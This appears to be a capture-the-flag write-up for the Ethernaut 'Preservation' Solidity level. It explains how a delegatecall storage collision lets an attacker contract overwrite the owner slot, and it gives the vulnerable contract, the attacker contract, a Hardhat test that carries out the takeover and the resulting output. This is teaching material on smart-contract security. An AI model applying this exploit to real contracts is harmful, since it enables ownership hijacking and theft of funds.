This challenge highlights the risks associated with using delegatecall. The primary concept to remember is that delegatecall works by affecting the storage slots of the caller contract. To solve this level, we deploy our own “Attacker” contract and call setFirstTime() with Attacker’s address expressed as a uint twice to override the address stored in the owner storage variable that is stored in slot 2.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
// Simple library contract to set the time
contract Attacker {
uint storage1;
uint storage2;
uint storage3; //This is the storage slot we are interested in
function setTime(uint newAddress) public {
storage3 = newAddress;
}
}
//Hardhat Test (solution.js):
const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");
describe("preservation.sol", () => {
describe("Test run", () => {
it("should run fine", async () => {
// Lets first deploy two instances of LibraryContract
const [owner] = await ethers.getSigners();
const libraryContract = await ethers.getContractFactory("LibraryContract")
const library1 = await libraryContract.deploy();
await library1.deployed();
const library2 = await libraryContract.deploy();
await library2.deployed();
// Deploy Preservation and supply 2 instances of LibraryContract to the constructor
const preservationContract = await ethers.getContractFactory("Preservation")
const preservation = await preservationContract.deploy(library1.address, library2.address);
await preservation.deployed();
// Deploy our Attacker contract
const attackerContract = await ethers.getContractFactory("Attacker")
const attacker = await attackerContract.deploy();
await attacker.deployed();
// Get attacker address
console.log("Attacker Address: ", attacker.address)
console.log("Owner address before attack: ", await ethers.provider.getStorageAt(preservation.address, 2))
// 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9 = 1184589422945421143511828701991100965039074119625
const addressInDecimal = 1184589422945421143511828701991100965039074119625n;
await preservation.setFirstTime(addressInDecimal)
await preservation.setFirstTime(addressInDecimal)
console.log("Owner address after attack: ", await ethers.provider.getStorageAt(preservation.address, 2))
});
});
});
root@ununtu-vm:/home/user/Desktop/hardhat/ethernaut/preservation# npx hardhat test
preservation.sol
Test run
Attacker Address: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9
Owner address before attack: 0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
Owner address after attack: 0x000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9
✔ should run fine (1160ms)
1 passing (1s)